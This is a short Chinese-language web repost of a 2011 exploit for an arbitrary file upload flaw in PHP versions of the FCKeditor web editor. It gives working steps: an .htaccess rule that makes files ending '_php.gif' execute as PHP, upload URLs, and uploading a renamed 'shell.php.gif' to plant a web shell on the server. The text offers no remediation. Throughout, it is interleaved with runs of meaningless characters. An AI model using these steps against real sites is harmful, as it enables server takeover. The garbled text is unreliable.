FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 8 }5 L1 R: X: Y* X减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 [+] Author : sinesafe.cn 1 h$ v4 t& D) r) _# L8 O[+] Website : WwW.sinesafe.cn   u: p% t5 G- x" k0 h/ D0 V——————————————————— 1.create a htaccess file: % Q  \7 x9 [9 F* L7 a- h8 A+ mcode: 8 w* j  V1 w0 q<FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch> " Y. L% T+ _/ {$ p2 u6 ~2.Now upload this htaccess with FCKeditor. 7 o- o  C0 a4 S4 z8 ~ 1 F6 X' h! _7 Q7 W- q4 ?, lhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html http://www.sinesafe.cn/FCKeditor ... onnectors/test.html + l" V# G" {( g! f$ K 7 d& q% E4 k) D; d———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. # ~+ W/ H/ j" d% K4 b4 |5 I" r4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 7 F1 O$ l, q$ o. I3 }5.http://www.sinesafe.cn/anything/shell_php.gif . e0 [; h; J, J: [6.Now shell is available from server.

0 e) O/ \+ P# k8 a0 k5 A